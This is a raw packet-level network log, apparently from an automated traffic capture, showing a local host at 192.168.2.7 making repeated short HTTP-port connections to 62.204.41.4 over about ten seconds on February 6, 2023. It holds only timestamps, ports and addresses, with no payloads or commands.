Feb 6, 2023 18:38:38.222105980 CET	50323	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:38.283652067 CET	80	50322	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:38.283751965 CET	50322	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:38.286773920 CET	80	50323	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:38.286892891 CET	50323	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:38.290728092 CET	50323	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:38.354291916 CET	80	50323	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:38.358603001 CET	80	50323	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:38.358709097 CET	50323	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:38.471437931 CET	50323	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:38.472383976 CET	50324	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:38.534472942 CET	80	50324	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:38.534646988 CET	50324	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:38.535316944 CET	80	50323	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:38.535445929 CET	50323	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:38.548279047 CET	50324	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:38.610022068 CET	80	50324	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:38.612684011 CET	80	50324	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:38.612829924 CET	50324	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:38.721056938 CET	50324	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:38.722120047 CET	50325	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:38.781939983 CET	80	50324	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:38.782202005 CET	50324	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:38.782705069 CET	80	50325	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:38.782855988 CET	50325	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:38.783317089 CET	50325	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:38.843995094 CET	80	50325	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:38.850310087 CET	80	50325	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:38.856267929 CET	50325	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:38.974723101 CET	50325	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:38.975536108 CET	50326	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:39.035273075 CET	80	50326	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:39.035310030 CET	80	50325	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:39.035486937 CET	50325	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:39.035983086 CET	50326	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:39.035983086 CET	50326	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:39.098898888 CET	80	50326	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:39.102859020 CET	80	50326	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:39.103254080 CET	50326	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:39.211458921 CET	50326	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:39.212327957 CET	50327	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:39.271110058 CET	80	50326	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:39.272706985 CET	80	50327	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:39.272840977 CET	50326	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:39.272897959 CET	50327	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:39.273407936 CET	50327	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:39.333954096 CET	80	50327	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:39.339062929 CET	80	50327	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:39.344335079 CET	50327	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:39.457146883 CET	50327	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:39.458133936 CET	50328	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:39.518568039 CET	80	50327	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:39.518759966 CET	50327	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:39.521410942 CET	80	50328	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:39.524363995 CET	50328	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:39.535774946 CET	50328	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:39.601021051 CET	80	50328	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:39.604188919 CET	80	50328	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:39.608333111 CET	50328	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:39.721338987 CET	50328	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:39.722290039 CET	50329	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:39.782444954 CET	80	50329	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:39.782581091 CET	50329	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:39.784251928 CET	80	50328	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:39.784394026 CET	50328	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:39.784785032 CET	50329	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:39.844588041 CET	80	50329	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:39.848402023 CET	80	50329	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:39.848593950 CET	50329	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:39.957117081 CET	50329	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:39.958293915 CET	50330	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:40.016493082 CET	80	50329	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:40.016714096 CET	50329	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:40.018873930 CET	80	50330	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:40.019131899 CET	50330	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:40.019565105 CET	50330	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:40.079741955 CET	80	50330	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:40.085058928 CET	80	50330	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:40.085231066 CET	50330	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:40.189758062 CET	50330	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:40.190673113 CET	50331	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:40.251538992 CET	80	50330	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:40.252073050 CET	50330	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:40.253690004 CET	80	50331	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:40.253813982 CET	50331	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:40.257821083 CET	50331	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:40.320513964 CET	80	50331	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:40.322891951 CET	80	50331	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:40.323050022 CET	50331	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:40.441922903 CET	50331	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:40.445924997 CET	50332	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:40.502518892 CET	80	50331	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:40.502630949 CET	50331	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:40.508131027 CET	80	50332	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:40.508280993 CET	50332	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:40.516329050 CET	50332	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:40.578907013 CET	80	50332	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:40.580770016 CET	80	50332	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:40.580889940 CET	50332	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:40.691934109 CET	50332	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:40.692740917 CET	50333	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:40.753937006 CET	80	50332	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:40.754015923 CET	50332	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:40.754369020 CET	80	50333	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:40.754462957 CET	50333	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:40.754988909 CET	50333	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:40.816451073 CET	80	50333	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:40.820499897 CET	80	50333	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:40.820622921 CET	50333	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:40.941492081 CET	50333	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:40.942447901 CET	50334	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:41.003031015 CET	80	50334	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:41.003062010 CET	80	50333	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:41.003148079 CET	50334	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:41.003222942 CET	50333	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:41.003923893 CET	50334	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:41.066742897 CET	80	50334	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:41.070502996 CET	80	50334	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:41.070583105 CET	50334	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:41.176450968 CET	50334	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:41.177633047 CET	50335	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:41.237185955 CET	80	50334	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:41.237313032 CET	50334	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:41.239296913 CET	80	50335	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:41.239454031 CET	50335	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:41.243352890 CET	50335	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:41.304913044 CET	80	50335	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:41.308324099 CET	80	50335	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:41.308482885 CET	50335	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:41.425282955 CET	50336	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:41.425344944 CET	50335	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:41.486093044 CET	80	50336	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:41.486244917 CET	50336	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:41.486984015 CET	50336	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:41.487148046 CET	80	50335	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:41.487560034 CET	50335	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:41.547377110 CET	80	50336	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:41.549911976 CET	80	50336	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:41.550013065 CET	50336	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:41.658651114 CET	50336	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:41.659615040 CET	50337	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:41.719324112 CET	80	50336	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:41.719477892 CET	50336	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:41.721211910 CET	80	50337	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:41.721380949 CET	50337	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:41.721827984 CET	50337	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:41.783286095 CET	80	50337	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:41.788013935 CET	80	50337	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:41.792634964 CET	50337	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:41.908777952 CET	50337	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:41.913194895 CET	50338	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:41.970686913 CET	80	50337	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:41.973846912 CET	80	50338	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:41.974056005 CET	50337	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:41.974119902 CET	50338	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:41.974958897 CET	50338	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:42.035520077 CET	80	50338	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:42.040513039 CET	80	50338	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:42.041054964 CET	50338	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:42.147263050 CET	50338	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:42.147944927 CET	50339	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:42.207907915 CET	80	50338	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:42.208134890 CET	50338	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:42.208318949 CET	80	50339	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:42.208470106 CET	50339	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:42.208795071 CET	50339	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:42.269210100 CET	80	50339	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:42.271629095 CET	80	50339	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:42.276546955 CET	50339	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:42.393099070 CET	50339	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:42.393812895 CET	50340	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:42.453727961 CET	80	50339	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:42.453821898 CET	50339	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:42.454399109 CET	80	50340	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:42.454510927 CET	50340	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:42.464571953 CET	50340	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:42.525307894 CET	80	50340	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:42.527338982 CET	80	50340	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:42.527462006 CET	50340	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:42.652481079 CET	50340	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:42.654748917 CET	50341	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:42.713769913 CET	80	50340	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:42.713924885 CET	50340	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:42.715898037 CET	80	50341	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:42.716017962 CET	50341	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:42.838469982 CET	50341	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:42.899144888 CET	80	50341	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:42.901577950 CET	80	50341	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:42.901710033 CET	50341	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:43.024741888 CET	50341	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:43.025543928 CET	50342	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:43.085576057 CET	80	50341	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:43.085750103 CET	50341	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:43.086983919 CET	80	50342	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:43.087129116 CET	50342	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:43.108288050 CET	50342	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:43.169770956 CET	80	50342	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:43.174962044 CET	80	50342	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:43.175101042 CET	50342	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:43.329905987 CET	50342	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:43.330632925 CET	50343	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:43.392935038 CET	80	50342	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:43.393074036 CET	50342	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:43.394474983 CET	80	50343	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:43.394659042 CET	50343	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:43.443139076 CET	50343	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:43.506398916 CET	80	50343	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:43.510194063 CET	80	50343	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:43.510413885 CET	50343	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:44.181659937 CET	50343	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:44.182427883 CET	50344	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:44.242074966 CET	80	50344	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:44.242341995 CET	50344	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:44.244229078 CET	80	50343	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:44.244358063 CET	50343	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:44.257733107 CET	50344	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:44.317316055 CET	80	50344	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:44.321942091 CET	80	50344	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:44.322062016 CET	50344	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:44.581511974 CET	50345	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:44.581651926 CET	50344	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:44.641833067 CET	80	50344	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:44.641979933 CET	50344	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:44.642518044 CET	80	50345	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:44.642601013 CET	50345	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:44.689332962 CET	50345	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:44.749959946 CET	80	50345	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:44.752979994 CET	80	50345	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:44.753139973 CET	50345	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:45.747030020 CET	50345	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:45.747725964 CET	50346	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:45.808113098 CET	80	50345	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:45.808301926 CET	50345	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:45.810184956 CET	80	50346	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:45.810317039 CET	50346	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:45.811034918 CET	50346	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:45.875958920 CET	80	50346	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:45.879740953 CET	80	50346	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:45.879856110 CET	50346	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:45.987199068 CET	50346	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:45.987966061 CET	50347	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:46.050564051 CET	80	50346	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:46.050626993 CET	80	50347	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:46.050767899 CET	50346	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:46.050913095 CET	50347	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:46.051188946 CET	50347	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:46.114960909 CET	80	50347	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:46.121114969 CET	80	50347	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:46.121326923 CET	50347	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:46.236792088 CET	50347	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:46.237375975 CET	50348	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:46.298228025 CET	80	50348	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:46.298415899 CET	50348	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:46.299611092 CET	80	50347	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:46.299755096 CET	50347	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:46.302644014 CET	50348	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:46.363389969 CET	80	50348	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:46.366266012 CET	80	50348	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:46.366388083 CET	50348	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:46.471343994 CET	50348	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:46.472429037 CET	50349	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:46.532504082 CET	80	50348	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:46.532607079 CET	50348	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:46.535460949 CET	80	50349	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:46.535636902 CET	50349	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:46.552442074 CET	50349	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:46.614530087 CET	80	50349	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:46.616745949 CET	80	50349	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:46.616873980 CET	50349	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:46.770307064 CET	50349	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:46.774029970 CET	50350	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:46.832335949 CET	80	50349	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:46.835122108 CET	50349	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:46.835572958 CET	80	50350	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:46.835773945 CET	50350	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:46.836121082 CET	50350	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:46.897614002 CET	80	50350	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:46.900326967 CET	80	50350	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:46.900563955 CET	50350	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:47.008162975 CET	50350	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:47.008913040 CET	50351	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:47.069905996 CET	80	50350	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:47.070360899 CET	80	50351	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:47.070557117 CET	50350	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:47.070672035 CET	50351	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:47.071029902 CET	50351	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:47.132474899 CET	80	50351	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:47.136858940 CET	80	50351	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:47.137104988 CET	50351	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:47.253041983 CET	50351	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:47.262756109 CET	50352	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:47.317879915 CET	80	50351	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:47.318002939 CET	50351	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:47.327680111 CET	80	50352	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:47.329993010 CET	50352	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:47.330598116 CET	50352	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:47.391782999 CET	80	50352	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:47.395271063 CET	80	50352	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:47.395421982 CET	50352	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:47.502990007 CET	50352	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:47.503973007 CET	50353	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:47.565980911 CET	80	50352	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:47.566102982 CET	50352	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:47.569823027 CET	80	50353	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:47.570343971 CET	50353	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:47.570343971 CET	50353	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:47.635195017 CET	80	50353	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:47.638125896 CET	80	50353	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:47.640115976 CET	50353	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:47.753549099 CET	50353	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:47.754131079 CET	50354	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:47.815661907 CET	80	50354	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:47.815864086 CET	50354	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:47.816221952 CET	80	50353	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:47.816570044 CET	50353	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:47.820986986 CET	50354	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:47.883656025 CET	80	50354	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:47.885979891 CET	80	50354	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:47.886208057 CET	50354	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:48.002614975 CET	50354	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:48.003506899 CET	50355	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:48.064129114 CET	80	50355	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:48.064160109 CET	80	50354	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:48.064322948 CET	50354	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:48.065032959 CET	50355	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:48.066555977 CET	50355	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:48.126933098 CET	80	50355	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:48.132057905 CET	80	50355	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:48.132245064 CET	50355	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:48.243675947 CET	50355	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:48.245178938 CET	50356	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:48.304359913 CET	80	50355	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:48.304541111 CET	50355	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:48.307750940 CET	80	50356	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:48.308243990 CET	50356	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:48.308768034 CET	50356	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:48.371850014 CET	80	50356	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:48.374762058 CET	80	50356	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:48.375338078 CET	50356	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:48.487659931 CET	50356	80	192.168.2.7	62.204.41.4
